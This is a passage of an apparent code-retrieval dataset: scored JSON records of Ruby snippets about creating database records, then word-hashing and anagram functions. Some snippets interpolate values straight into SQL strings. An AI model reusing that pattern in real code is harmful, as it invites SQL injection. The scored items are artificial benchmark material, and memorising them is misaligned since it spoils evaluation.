"0.6129537", "text": "def to_db\n self\n end", "title": "" }, { "docid": "feac36955dc1d611584b3e81b9be0db6", "score": "0.6123585", "text": "def buildNewDatabase()\n @db.execute(\"CREATE TABLE #{SYSTEM_TABLE}(#{SYSTEM_FIELDS})\")\n @db.execute(\"CREATE TABLE #{FAMILY_TABLE}(#{FAMILY_FIELDS})\")\n end", "title": "" }, { "docid": "eaffedaa726222e7e79312b0a27e295a", "score": "0.6109453", "text": "def db_create\n DB_TYPE\n end", "title": "" }, { "docid": "98e9dbf70428de60b6486cbe14aa7f59", "score": "0.61070514", "text": "def create\n\t\t\n\tend", "title": "" }, { "docid": "4ad1c0b63e149476daa0a3058d436ec6", "score": "0.6081733", "text": "def create_record attributes: {}\n orientdb.create_record self, attributes: attributes\n end", "title": "" }, { "docid": "09408de7a87c2932cfe8f3477a32af55", "score": "0.60687506", "text": "def create_db_cmd!\n # TODO:\n end", "title": "" }, { "docid": "8fd6dd79cbd553c3e2bdc5febedf3ac2", "score": "0.6067216", "text": "def create\n new.persist\n end", "title": "" }, { "docid": "e005fbaa525e608f0c5120f8449a4807", "score": "0.6061439", "text": "def db; @db; end", "title": "" }, { "docid": "7d96d1798e108a3331945265268defd9", "score": "0.60549635", "text": "def form\n X.find_or_create command\n end", "title": "" }, { "docid": "ae014b656068cff24539d066d56a3b26", "score": "0.60199887", "text": "def attributes_for_database; end", "title": "" }, { "docid": "6ae9e49d98ebe99f91736f92497ee9ba", "score": "0.60185325", "text": "def create(record); end", "title": "" }, { "docid": "a4fd8dd8048af7d3ced8f7ddca188f7c", "score": "0.6013054", "text": "def database; self.class.database; end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.6012084", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.6012084", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.6012084", "text": "def create\n \n end", "title": "" }, { "docid": "85821b7c901833285eb68d70d01fd111", "score": "0.6012084", "text": "def create\n \n end", "title": "" }, { "docid": "3464faf95fc4909fbbf12062beb52538", "score": "0.601139", "text": "def create\n\tdebug('PROVIDER METHOD: ' + __method__.id2name)\n\n\tsql = \"CREATE DATABASE #{@resource[:name]}\"\n execSQL(sql)\n end", "title": "" }, { "docid": "85d57503e9b763fffb0e45450c2f2ff7", "score": "0.6006838", "text": "def create_form_object\n # load the model plugin into a disposable Shrine subclass\n shrine_subclass = Class.new(shrine_class)\n shrine_subclass.plugin :model\n\n # create a model class with attachment methods\n form_class = Struct.new(attribute)\n form_class.include shrine_subclass::Attachment(name)\n\n # instantiate form object\n form_class.new(column_data)\n end", "title": "" }, { "docid": "6afa04c3fa15cd7dbd6c71ade9a3dd6a", "score": "0.6005638", "text": "def db; end", "title": "" }, { "docid": "6afa04c3fa15cd7dbd6c71ade9a3dd6a", "score": "0.6005638", "text": "def db; end", "title": "" }, { "docid": "fb9abecef6ca35f065a74d9bcc27dc1b", "score": "0.6005535", "text": "def create\n attributes_string = self.class.attributes.join(\", \")\n\n question_marks = ([\"?\"] * self.class.attributes.length).join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO #{self.class.table_name}\n (#{self.class.attributes.join(\", \")})\n VALUES (#{question_marks})\n SQL\n\n @id = DBConnection.last_insert_row_id\n end", "title": "" }, { "docid": "8f202f3e35bc416d24bf639fa206730b", "score": "0.6005154", "text": "def create_database\n raise \"Subclass must implement\"\n end", "title": "" }, { "docid": "8f202f3e35bc416d24bf639fa206730b", "score": "0.6005154", "text": "def create_database\n raise \"Subclass must implement\"\n end", "title": "" }, { "docid": "3a4570a303085da30b1f9df26b27803c", "score": "0.59948254", "text": "def create\n @db_inst = DbInst.new(db_inst_params)\n\n respond_to do |format|\n if @db_inst.save\n format.html { redirect_to @db_inst, notice: 'Db inst was successfully created.' }\n format.json { render :show, status: :created, location: @db_inst }\n else\n format.html { render :new }\n format.json { render json: @db_inst.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f3dcea111207ed8f8da82adf850be79", "score": "0.59878397", "text": "def create_database(name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "9d50e30e9c3f41717d670523d00ee799", "score": "0.59769887", "text": "def Builder; end", "title": "" }, { "docid": "8d0ec221814ada2322ac93bfaea29bb7", "score": "0.5967501", "text": "def create\n @db.execute(SQL_INSERT_BUILDING,[@name,@floors,@apts_by_floor]);\n @id = @db.last_insert_row_id\n self\n end", "title": "" }, { "docid": "a77d69046d01dbeefc0ccabedca3452f", "score": "0.5964084", "text": "def db\n WidgetFactory::Database.instance\n end", "title": "" }, { "docid": "73c25f55ade97fc3cd8187841a8c7e76", "score": "0.59628433", "text": "def create_from_form(type = :qdc)\n if type == :documentation\n @object = DRI::Documentation.new\n @documented = retrieve_object(params[:documentation_for])\n @object.documentation_for = @documented if @documented\n else\n @object = DRI::DigitalObject.with_standard(type)\n end\n\n @object.depositor = current_user.to_s\n @object.assign_attributes create_params\n end", "title": "" }, { "docid": "73fc83910cda3ab89c3bb4397171246a", "score": "0.59594923", "text": "def create\n # helps with boilerplateness\n end", "title": "" }, { "docid": "4aa82111b7d8bae509e9e25c45a4f023", "score": "0.59528965", "text": "def db_record\n vals = [value].flatten\n vals.map do |v|\n record = MyBiaDJ::Table(:virtual).find_or_create(:name => name.to_s, :value => v)\n yield record if block_given?\n record\n end\n end", "title": "" }, { "docid": "189691029ae0918eaac7a2c1e774885d", "score": "0.5952629", "text": "def create_from_database(id)\n rec = CONNECTION.execute(\"SELECT * FROM #{self.to_s.pluralize} WHERE id = #{id};\").first\n if rec.nil?\n self.new()\n else\n self.new(rec)\n end\n end", "title": "" }, { "docid": "e91090bc12c3169d61f7042ad8b3ad2e", "score": "0.5947003", "text": "def initialize dbi,type,*args,&block\n @fields = Lolita::Configuration::Fields.new\n @field_sets = []\n @nested_forms = []\n @type = type\n self.dbi=dbi\n self.current_dbi=dbi\n self.set_attributes(*args)\n self.instance_eval(&block) if block_given?\n set_default_attributes\n end", "title": "" }, { "docid": "cdb27e779521e2c77e91f6c54623d7af", "score": "0.591097", "text": "def create\r\n end", "title": "" }, { "docid": "0e48169b5eaf0e17f9136ddbd88baea3", "score": "0.59095794", "text": "def orm_instance(name = T.unsafe(nil)); end", "title": "" }, { "docid": "045dc423ccc55fc8744fd395baa4ebd8", "score": "0.59075755", "text": "def database\r\n end", "title": "" }, { "docid": "b015f2b39ad62b57d8445941307ff97a", "score": "0.590739", "text": "def create(params=Hash.new)\n df = build(params)\n df.generate_insert\n df.run_insert\n df\n end", "title": "" }, { "docid": "fea99487ec06e928cecb62ea954ee119", "score": "0.5901157", "text": "def db\n object_store.db\n end", "title": "" }, { "docid": "5563c6bb3beb6d8ecd0c3e5d13af8327", "score": "0.58982956", "text": "def save!\n connection.protocol::DbCreate.new(params).process(connection)\n end", "title": "" }, { "docid": "bfb96f18c689b269edb67e4269fb2a27", "score": "0.5888469", "text": "def create\n\t\t\t\teach(&:create)\n\t\t\tend", "title": "" }, { "docid": "41faa708112da8b2ad80d289774cd72c", "score": "0.5876312", "text": "def create\n \t\n end", "title": "" }, { "docid": "41faa708112da8b2ad80d289774cd72c", "score": "0.5876312", "text": "def create\n \t\n end", "title": "" }, { "docid": "e955b743ddbeda16bcd2f55ad642d7be", "score": "0.58703256", "text": "def db\n @db\n end", "title": "" }, { "docid": "de7b7f845c6a344532dbb7a31ea59139", "score": "0.5867801", "text": "def create(attrs)\n attrs = BlocRecord::Utility.convert_keys(attrs)\n attrs.delete \"id\"\n vals = attributes.map { |key| BlocRecord::Utility.sql_strings(attrs[key]) }\n \n connection.execute <<-SQL\n INSERT INTO #{table} (#{attributes.join \",\"})\n VALUES (#{vals.join \",\"});\n SQL\n \n data = Hash[attributes.zip attrs.values]\n data[\"id\"] = connection.execute(\"SELECT last_insert_rowid();\")[0][0]\n new(data)\n end", "title": "" }, { "docid": "b52cf247a7a017c86245938c69fbd345", "score": "0.5866243", "text": "def [](db_name)\n DB.new db_name, self\n end", "title": "" }, { "docid": "0fe8bd9a5b5da1f6562be3cf645cba61", "score": "0.58595484", "text": "def create\r\n\r\n end", "title": "" }, { "docid": "47b0bba9617465fd172209bf6d6c59df", "score": "0.58511406", "text": "def create\n\n\n end", "title": "" }, { "docid": "54c52a08ffa44c1ce01da59b743f8362", "score": "0.58497626", "text": "def new\n @table = Table.new\n end", "title": "" }, { "docid": "d7dcf617b2a40a08614a7866b934041b", "score": "0.5849355", "text": "def create(atts = {})\n rec = self.new(atts)\n rec.save && rec\n end", "title": "" }, { "docid": "d7dcf617b2a40a08614a7866b934041b", "score": "0.5849355", "text": "def create(atts = {})\n rec = self.new(atts)\n rec.save && rec\n end", "title": "" }, { "docid": "92212e368b2bf03787c012cdae83703c", "score": "0.5843273", "text": "def create \n raise \"#{self} already in database\" if self.id # makes sure the id doesn't exist already before inserting\n\n # binds the arguments: the values that we wanna trow in the instance variables\n PlayDBConnection.instance.execute(<<-SQL, self.name, self.birth_year) \n INSERT INTO \n playwrights (name, birth_year)\n VALUES \n (?, ?) \n SQL\n\n # once the above sql query is executed, we'll have playwrights.id that is set automatically by sqlite3 \n # so we can bind it with @id instance variable\n self.id = PlayDBConnection.instance.last_insert_row_id\n end", "title": "" }, { "docid": "94fe37930f88bcfec7b0d1135d554238", "score": "0.58399916", "text": "def add(instance)\n # record = Airtable::Record.new(@mapper.convert_to_h(instance))\n record = instance.to_record\n @table.create(record)\n end", "title": "" }, { "docid": "07a862b7aa76dc8613f8a4f5ba8d4e7a", "score": "0.58367574", "text": "def create\n columns = []\n \n self.class.attributes.each do |attr_name|\n next if attr_name == :id\n columns << attr_name.to_s\n end\n \n question_marks = ([\"?\"] * columns.count).join(\", \")\n \n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{self.class.table_name} (#{columns.join(\", \")})\n VALUES\n (#{question_marks})\n SQL\n \n @id = DBConnection.last_insert_row_id\n end", "title": "" }, { "docid": "761bc5e32270f9c66d7a7e2a7dd4e825", "score": "0.5835524", "text": "def create\n end", "title": "" }, { "docid": "d6a5ddf6799d3736e2208fbc43c821ca", "score": "0.58353126", "text": "def create\n @db.execute(SQL_INSERT_APARTMENT,[@number,@rented,@number_of_beds,@building_id]);\n @id = @db.last_insert_row_id\n self\n end", "title": "" }, { "docid": "9f30ee7f5fa7072be50ea08190d28112", "score": "0.58344376", "text": "def create!(db)\n raise StandardError.new(\"Not implemented\")\n end", "title": "" }, { "docid": "a341076d6694a97471f9cced12292ab1", "score": "0.5827121", "text": "def db_for(klass)\n @db[klass.to_s] ||= {}\n end", "title": "" }, { "docid": "14d130ddca4e7003f24b964b95a773d7", "score": "0.58268183", "text": "def database; @database; end", "title": "" }, { "docid": "5291a3db16a1e1161acffda76e400e22", "score": "0.5820243", "text": "def create_from_database(id)\n rec = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{id};\").first\n if rec.nil?\n self.new()\n else\n self.new(rec)\n end\n end", "title": "" }, { "docid": "96155dfc407d3d4a9ae913337a241ae0", "score": "0.5819766", "text": "def create\n end", "title": "" }, { "docid": "00de989804396c189d8d2511fb620f80", "score": "0.5813458", "text": "def db()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b46df3b61587b57fc9520be4addc008a", "score": "0.58048904", "text": "def save\n # Build a String of SQL, that will insert all the attributes into the persons table\n\n # Execute the SQL on the @@db object\n end", "title": "" }, { "docid": "5de95b2aefebdfd6d52b83c2bdcf47bd", "score": "0.5779482", "text": "def create(options = {})\n generate_columns(options)\n @klass.create(@last_options)\n end", "title": "" }, { "docid": "e056c8aff4b740931e3c3a81b3e1fad3", "score": "0.5778847", "text": "def db(db_name, options={})\n DB.new db_name, self, options \n end", "title": "" }, { "docid": "4073df8bc06fce71f2c24d02577e1831", "score": "0.57767856", "text": "def create\n end", "title": "" }, { "docid": "4073df8bc06fce71f2c24d02577e1831", "score": "0.57767856", "text": "def create\n end", "title": "" }, { "docid": "52a6866701b41dc81dcb9216d02dcbb8", "score": "0.5775281", "text": "def create!\n @properties[:type] = @model\n gen_id!\n res = Persistence::Setup.db.save_doc(@properties)\n @properties = Persistence::Setup.db.get(res['id'])\n :ok\n end", "title": "" }, { "docid": "1866fa2e717e1c39fe0db8cc11c3e3ee", "score": "0.57710624", "text": "def create\n B.new\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.5767403", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.5767403", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.5767403", "text": "def create()\n end", "title": "" }, { "docid": "53969dca56fd3184c671683606452d3e", "score": "0.5767403", "text": "def create()\n end", "title": "" }, { "docid": "4d9f42df9b8875732b492525d9283382", "score": "0.5761294", "text": "def create_database(options)\n raise NotImplementedError, 'this should be overridden by concrete client'\n end", "title": "" }, { "docid": "4b506bb547e096bcadaa1f75c6348abf", "score": "0.5760329", "text": "def _create_record\n # Tried to do:\n # self.dfrom = ApplicationController.helpers.current_time\n # and although this object exists here, it doesn't work for some reason\n self.dfrom = ActiveRecord::Base.connection.execute(\"SELECT NOW() AS now;\").first[\"now\"] if self.dfrom == nil\n \tsuper\n\n # def _create_record(attribute_names = self.attribute_names)\n # attributes_values = arel_attributes_with_values_for_create(attribute_names)\n\n # new_id = self.class.unscoped.insert attributes_values\n\n # # CPK\n # # If one of the key columns is set up in a Postgres database with a SEQUENCE, then with\n # # memoization that attribute comes back as nil instead of reporting its new integer value.\n # #self.id ||= new_id if self.class.primary_key\n # self.id = new_id if self.class.primary_key\n\n # @new_record = false\n # id\n # end\n end", "title": "" }, { "docid": "8ca00544504ca581a0b17f8ed611f479", "score": "0.57532257", "text": "def db\n DatabaseHelper.db\n end", "title": "" }, { "docid": "58baa4f8683b12e7fbf142e8da620a70", "score": "0.57513124", "text": "def save\n _create_record\n end", "title": "" } ]
970bc03d955502346747745cabc4ef7e
Adds words to hash
[ { "docid": "5575951630c69328b9e3da63d2e4cb0c", "score": "0.6175178", "text": "def add(word, nextWord)\r\n @words[word] = Hash.new(0) if !@words[word]\r\n @words[word][nextWord] += 1\r\n end", "title": "" } ]
[ { "docid": "85943b267668f9bd6a7d168eaf42a911", "score": "0.7062646", "text": "def add_word word #Function shovels individual strings into the dictionary array\n @dictionary << word\n end", "title": "" }, { "docid": "21bbd2a38751ddfe1dd6a249ef62e850", "score": "0.67692786", "text": "def populate(words)\n # Create an array of words and normailze it: we delete all cr chars (\\r) and put all letters downcase\n words = words.downcase.delete(\"\\r\").split(\"\\n\")\n # The anagram words contain the same letters, so we can create an hash where the key is a common index,\n # and the value is an array of words with the same key\n self.words_hash = words.each_with_object(Hash.new []) do |word,hash|\n hash[create_index(word)] += [word]\n end\n end", "title": "" }, { "docid": "e2addb6c2894669c6b402474b1d3efce", "score": "0.6620684", "text": "def add(hash); end", "title": "" }, { "docid": "51a733954572fba7eb3b99d58e85d794", "score": "0.6593668", "text": "def addto_bloom_filter(word)\n for i in 0..$num_hash_functions\n hash_value = MurmurHash3::V32.str_hash(word, i) % $bit_array_length\n $bloom_filter[hash_value] = true\n end\nend", "title": "" }, { "docid": "e0c604b6ea7640ca9bfd68aeedf1c0ae", "score": "0.65749556", "text": "def add(word)\n\t\tif word.class == String\n\t\t\tword = {word => nil}\n\t\tend\n\n\t\tword.each do |key, value|\n\t\t\t@entries[key] = value\n\t\tend\n\tend", "title": "" }, { "docid": "86b28c7a098671254d4594374e93ddc8", "score": "0.65068245", "text": "def add_all(words)\n end", "title": "" }, { "docid": "dc4e2ff7bd3f70b378e2379a8ec13885", "score": "0.64923704", "text": "def combine_anagrams(words)\r\n\r\n h=Hash.new([])\r\n words.map {|w| key=w.downcase.split('').sort.join; h[key]+=[w]}\r\n h.values\r\n \r\nend", "title": "" }, { "docid": "5792f94633ad9b513761bc6ecc2cc622", "score": "0.6454429", "text": "def cryptic_dictionary(words)\nend", "title": "" }, { "docid": "a52f16826ce8b1085d26282679ecc47f", "score": "0.644845", "text": "def add_word(word)\n sym = word.to_sym\n wdup = word.dup\n for i in 0...word.length\n wdup[i] = 0\n @steps[wdup] << sym\n wdup[i] = word[i]\n end\n @words[word] = sym # for allow_shorter and each_word\n end", "title": "" }, { "docid": "84cc33cdb338d6a128957726485ac431", "score": "0.6413622", "text": "def add_word(word)\n \n end", "title": "" }, { "docid": "c77e11704c20705c4812e7c75ad9d712", "score": "0.63866144", "text": "def createWordHash(wordArray, wordHash)\n wordArray.each do |word|\n if !wordHash[word]\n wordHash[word] = 1\n else\n wordHash[word] +=1\n end\n end\n\n return wordHash;\nend", "title": "" }, { "docid": "52f121ceefea2ea1ebf1a630ed5ed443", "score": "0.63758516", "text": "def add(word)\n word.scan(/./) {|l| @hist[l] = @hist[l] + 1 if ('a'..'z') === l}\n @total_letters += word.size\n end", "title": "" }, { "docid": "095ef06a973cf29b95462741fc845d7b", "score": "0.63540214", "text": "def add(word)\n node = @root\n word.downcase!\n word.each_char do |letter|\n node[letter] ||= Hash.new\n node = node[letter]\n end\n node[:end] = true\n end", "title": "" }, { "docid": "32d9b4e1cdf4ff008800939f809463a6", "score": "0.6326114", "text": "def add(word, w)\n if word != \"\" \n cur = self\n word.downcase.each_char do |character|\n modified_char = @@vowels.include?(character) ? '*' : character\n cur.kids[modified_char] = SpellingTrie.new if not cur.kids.has_key? modified_char\n cur = cur.kids[modified_char]\n end\n cur.words_here.add(w)\n end\n end", "title": "" }, { "docid": "6ba3e3830c92bdf2c43c74b710d3bedb", "score": "0.63162285", "text": "def add(word)\n word.scan(/./) do |l|\n if ('a'..'z') === l\n @map[l] = Array.new unless @map.has_key? l\n @map[l] = @map[l] << word\n end\n end \n end", "title": "" }, { "docid": "5afa2559417183e9b55de49449b991a9", "score": "0.6309772", "text": "def combine_anagrams(words)\n hash = {}\n hash.default=[]\n words.each{|word|\n down_cased = word.downcase\n anagram = down_cased.chars.sort.join\n hash[anagram]= hash[anagram] + [word]\n }\n hash.values\nend", "title": "" }, { "docid": "f0c1c63f9012064fee5f90c656a12fce", "score": "0.63077587", "text": "def add(word)\n @words[@words.size] = word\n end", "title": "" }, { "docid": "754546ad28ddf4be59e7ac904c778d56", "score": "0.62963766", "text": "def add(entry) \r\n if entry.is_a? String\r\n @@words[entry] = nil\r\n else \r\n learn = entry.to_a \r\n learnit = learn[0]\r\n @@words[learnit[0]] = learnit[1]\t\r\n end\r\nend", "title": "" }, { "docid": "a25c8a41fa82c87d49ce02b829362c29", "score": "0.6295709", "text": "def add_word(word)\n word_hash = Digest::SHA1.hexdigest(word)\n word_file_path = ROOT_DATA_FOLDER + word_hash\n word_file = File.open(word_file_path, 'a+')\n words = word_file.readlines\n words.each {|word| word.sub! \"\\n\", ''} # remove trailing \\n\n word_index = words.index(word)\n\n if word_index.nil? # add new word to end of file with count = 1\n add_line_to_file(word_file_path, word)\n add_line_to_file(word_file_path, '1')\n else # add count to existing word by replacing count line in file\n word_count = words[word_index + 1].to_i\n add_line_to_file(word_file_path, (word_count + 1).to_s, word_index + 1)\n end\n word_file.close\n end", "title": "" }, { "docid": "07fbb3623a79bd8525fbc6ff3c7cff72", "score": "0.6288298", "text": "def add(word)\n end", "title": "" }, { "docid": "86ec5cd6d8e3f740054f4c031bc3b35a", "score": "0.62714785", "text": "def combine_anagrams(words)\r\n hash = Hash.new([])\r\n anagrams = []\r\n words.each do |word|\r\n keyword = word.downcase.chars.sort.join\r\n hash[keyword] += [word]\r\n end\r\n hash.each_value do |words|\r\n anagrams += [words]\r\n end\r\n return anagrams\r\nend", "title": "" }, { "docid": "ace8e0fe1c60e405b3f4c75ce615067c", "score": "0.6269573", "text": "def combine_anagrams(words)\r\n hash = Hash.new\r\n words.each{|w|\r\n key = w.downcase.chars.sort * \"\"\r\n if hash.has_key?(key)\n hash[key] += [w]\n else\n hash[key] = [w]\n end}\r\n return hash.values\r\nend", "title": "" }, { "docid": "7d72115cd6c9f8dff6a3fc2a78da047c", "score": "0.62610936", "text": "def add_words(new_words)\n new_words.each do |word|\n add(word)\n end\n end", "title": "" }, { "docid": "799c03c84aeb02dfa6fdf63f28530bd6", "score": "0.622263", "text": "def combine_anagrams(words)\n\th = Hash.new{|hash, key| hash[key] = Array.new;}\n\twords.each do |word| h[word.downcase.split(//).sort.join] << word end\n\th.values \nend", "title": "" }, { "docid": "a66a1b7334006eda202463fd8cc681ce", "score": "0.62136346", "text": "def edgy_words(hash)\n return hash if hash.keys.size <= 15\n\n h = hash.dup\n h.each do |word, prob|\n h[word] = 1.0 - h[word] if h[word] >= 0.5\n end\n arr = h.to_a.sort{|x, y| x[1] <=> y[1]}\n words = arr[0, 15].collect{|x| x.first}\n\n result = words.inject({}){|h, w| h[w] = hash[w]; h}\n end", "title": "" }, { "docid": "c73fe3a7058467d7736de972e48ba3a0", "score": "0.62089694", "text": "def combine_anagrams(words)\n#\n\n hash = {}\n words.each{ |word| \n key = word.downcase.split(//).sort\n hash[key] = (hash[key] || []) + [word]\n }\n ans = []\n hash.map{ |k, v|\n ans += v\n }\n ans\nend", "title": "" }, { "docid": "4f5dc9e5fdbb67c38b756c565c8c5220", "score": "0.6180448", "text": "def save\n\t\tNg2::HashDb.add(@word, serialize)\n\tend", "title": "" }, { "docid": "d0874700c1a4c90cc9a33503386c6e7f", "score": "0.6165895", "text": "def word_hash(sentence)\n letters = Hash.new(0)\n sentence.split.each { |word| letters[word.length] += 1 }\n letters\nend", "title": "" }, { "docid": "41e2b054363d1b375279be45bf92daba", "score": "0.61532116", "text": "def add_ata!(word)\n @redis.rpush(\"store:atas\", Unicode.downcase(word))\n end", "title": "" }, { "docid": "ddf16c97f93db6df916229ac03b49122", "score": "0.6126195", "text": "def hash_word(word)\n word.split('').sort\nend", "title": "" }, { "docid": "e83e6c965e7b7a447b232f652b605565", "score": "0.61222005", "text": "def hashtagify(sentence, words)\r\n\r\nend", "title": "" }, { "docid": "533284a9d355e6c35c0fb089e3e7ede4", "score": "0.6114551", "text": "def combine_anagrams(words) \r\n anagrams = words.inject(Hash.new()) do |r, word|\r\n key = word.downcase.chars.sort.join\r\n r[key] ||=[]\r\n r[key] << word\r\n r\r\n end\r\n anagrams.values\r\nend", "title": "" }, { "docid": "09b9de250dbc6404a7f5f98c4ba745d7", "score": "0.609408", "text": "def count_words(words)\r\n word_hash = Hash.new(0)\r\n words.downcase.split.each do |word|\r\n word_hash[word] += 1\r\n end\r\n return word_hash\r\n\r\n\r\nend", "title": "" }, { "docid": "a3059dca856904a87f060775f5351cdd", "score": "0.60929173", "text": "def persist_words!\n start = Time.now\n # gdbm is a fast, simple key-value DB\n require 'gdbm'\n gdbm = GDBM.new('db/word_count.db')\n count = 0\n read_text_into_hash.each do |k, v|\n # gdbm stores values as strings, so values have to be converted to\n # integers, added together and then converted to strings again\n # to be stored\n current_value = gdbm[k].to_i\n gdbm[k] = (v.to_i + current_value).to_s\n count += 1\n end\n print_status(start, count)\n end", "title": "" }, { "docid": "b852e4c33afcc7781da4b8790aeffcb2", "score": "0.60919005", "text": "def add_word(word)\n sorted_word = word.lsort\n @data[sorted_word] ||= []\n @data[sorted_word] << word\n if (@max_word_size==nil) || (word.size > @max_word_size)\n @max_word_size = word.size\n end\n end", "title": "" }, { "docid": "7131dc79e9b6a881cf30e8b7bc9ac81f", "score": "0.6091447", "text": "def add_word(word)\r\n \r\n end", "title": "" }, { "docid": "d9501c1f11763ec52187d3c783ad67c3", "score": "0.6074406", "text": "def combine_anagrams(words)\n word_list = Hash.new{|h, k| h[k] = []}\n \n words.each do |word|\n sorted = word.downcase.chars.sort.join\n # if not (word_list.include? sorted and word_list[sorted].include?(word))\n word_list[sorted] << word\n # end\n end\n \n word_list.map { |key,value| value }\nend", "title": "" }, { "docid": "0d1ec63dd36ee4d1cc9f94e248aaf8aa", "score": "0.6064595", "text": "def combine_anagrams(words)\n result = Hash.new\n words.each do |word|\n sw = word.downcase.split(//).sort\n if !result.has_key?(sw)\n result[sw] = Array.new\n end\n result[sw] << word\n end\n result.values\nend", "title": "" }, { "docid": "b2bee6834c7edc941e1673bb3da6be64", "score": "0.6048756", "text": "def check(words:)\n dictionary = Set.new([\"hello\", \"my\", \"name\", \"is\", \"orange\"])\n corrected = []\n words.each do | word |\n dictionary.include?(word) ? corrected.push(word) : corrected.push(\"~#{word}~\")\n end\n corrected\nend", "title": "" }, { "docid": "f59a173c3677a0272f3f658e7e3b7fcf", "score": "0.6046579", "text": "def count_words\n # clean up string\n str = self.downcase.gsub(/[^a-z0-9\\s]/, '') # only keep letters, numbers, and whitespace\n str = str.gsub(/\\s+/m, ' ') # remove excess whitespace\n\n # add each word to the hash\n hash = Hash.new(0)\n str.split.each do |word|\n hash[word] += 1\n end\n\n hash\n end", "title": "" }, { "docid": "62e32adeeead38b64ece720e5c5ed597", "score": "0.60303825", "text": "def combine_anagrams(words)\n h = Hash.new()\n\n words.each do |word|\n lowercase_word = word.downcase\n sorted_lowercase_word = lowercase_word.chars.sort.join\n\n similar_words = h[sorted_lowercase_word]\n if not similar_words\n similar_words = []\n end\n similar_words << word\n h[sorted_lowercase_word] = similar_words\n\n end\n\n output = []\n h.each_value { |value| output << value }\n return output\nend", "title": "" }, { "docid": "acca7cbe7bd816c257b16b9d58a0a769", "score": "0.60203415", "text": "def procipher(sent, hash)\r\n new_sent = []\r\n sent.split(\" \").each do |word|\r\n new_word = word.clone\r\n hash.each do |k, v|\r\n if k.call(word)\r\n new_word = v.call(new_word)\r\n found = true\r\n end\r\n end\r\n new_sent << new_word\r\n end\r\n new_sent.join(\" \")\r\nend", "title": "" }, { "docid": "6f1d5d733cde6a33dac50b20f7051826", "score": "0.60084546", "text": "def combine_anagrams(words)\n\thash = {}\n\t#words.each{ |w| hash[w.downcase.chars.sort.join] ||= [] << w }\n\twords.each do |w| \n\t\tk = w.downcase.chars.sort.join\n\t\tif hash[k]\n\t\t\thash[k] << w\n\t\telse\n\t\t\thash[k] = [w]\n\t\tend\n\tend\n\thash.values\nend", "title": "" }, { "docid": "efcfc1510102d30b91fd6d39630f5d83", "score": "0.6000632", "text": "def combine_anagrams(words)\n words_hash = Hash.new{ |hash, key| hash[key] = [] }\n words.each { |word| word_key = word.downcase.chars.sort.join; words_hash[word_key] = words_hash[word_key] << word; }\n words_list = Array.new()\n words_hash.keys.each { |key| words_list << words_hash[key] }\n return words_list\nend", "title": "" }, { "docid": "4d0e5dc2dfc6b4500d9c337d951090c0", "score": "0.5997136", "text": "def combine_anagrams(words)\n anagrams = Hash.new()\n words.each do |word|\n letters = word.downcase.gsub(/[^a-z]/, \"\").split(\"\").sort.join\n anagrams[letters] = Array.new unless anagrams.include?(letters)\n anagrams[letters] << word\n end\n anagrams.values\nend", "title": "" }, { "docid": "569df993dac1f1340ca3754ba4c365fc", "score": "0.5968437", "text": "def make_hash(word)\n hash = {}\n word.each do |i|\n if hash.has_key?(i)\n hash[i] += 1\n else\n hash[i] = 1\n end\n end\n return hash\nend", "title": "" }, { "docid": "5ed5273441796edfb25094728d1b8483", "score": "0.59659684", "text": "def anagram(words)\n words_hash = {}\n\n words.each do |w1|\n sorted_word = w1.chars.sort\n\n if words_hash.has_key?(sorted_word)\n words_hash[sorted_word] << w1\n else\n words_hash[sorted_word] = [w1]\n end\n end\n\n words_hash.values\nend", "title": "" }, { "docid": "e9c2a08ff81b23dd80445dd407f27699", "score": "0.5965838", "text": "def combine_anagrams(words)\n\th = Hash.new {|hash, key| hash[key] = [] }\n\twords.each {|x|\n\t\th[x.downcase.split('').sort!.join] << x\n\t\t#p h\n\t}\n\treturn h.values\nend", "title": "" }, { "docid": "1c6fd66370647316151af6700be96aaf", "score": "0.5963242", "text": "def index!(words)\n ### FILL IN YOUR CODE HERE\n @line += 1\n if words == nil\n else\n words.each { |word|\n if !@hash[word].include?(@line)\n @hash[word].push(@line)\n else\n\n end\n }\n end\n end", "title": "" }, { "docid": "f9702587ef00f47b600e6bc43ae65092", "score": "0.5954814", "text": "def combine_anagrams(words)\n hash = Hash.new\n words.each {|w|\n if(hash[w.downcase.split(\"\").sort().join] == nil)\n hash[w.downcase.split(\"\").sort().join] = [] \n end\n hash[w.downcase.split(\"\").sort().join] << w\n }\n rList = []\n hash.each_value{|v|\n rList << v\n }\n return rList\n\nend", "title": "" }, { "docid": "0fff9f95b5e3388204bd77d5f739faa0", "score": "0.59547734", "text": "def combine_anagrams(words)\n\thashes = Hash.new(0)\n\twords.each do |x|\n\t\talpha_word = x.downcase.chars.sort.join\n\n\t\tif hashes[alpha_word] == 0\n\t\t\thashes[alpha_word] = [x]\n\t\telse\n\t\t\thashes[alpha_word] = hashes[alpha_word] << x\n\t\tend\n\tend\n\toutArray = Array.new\n\thashes.each do |key, value|\n\t\toutArray << value\n\tend\n\t\n\treturn outArray\nend", "title": "" }, { "docid": "1f829aabcb850aad0d966e2c7179faf7", "score": "0.59510684", "text": "def count_words(string) \n words_hash = Hash.new(0)\n string.downcase.gsub(/\\b/, '').split().each do |i| \n words_hash[i] += 1 \n end\n words_hash \nend", "title": "" }, { "docid": "4a40d468201196876e9939a9e97210fa", "score": "0.5948996", "text": "def combine_anagrams(words)\r\n buckets = Hash.new([])\r\n words.each do | item |\r\n key = item.downcase.chars.sort.join\r\n\r\n if buckets.has_key?(key)\r\n buckets[key] << item\r\n else\r\n buckets[key] = [item]\r\n end\r\n end\r\n\r\n output = Array.new;\r\n buckets.each do | key, value |\r\n output << value\r\n end\r\n return output\r\nend", "title": "" }, { "docid": "9c25e87070d604dd445f43e772a82b0d", "score": "0.5938965", "text": "def combine_anagrams(words)\n 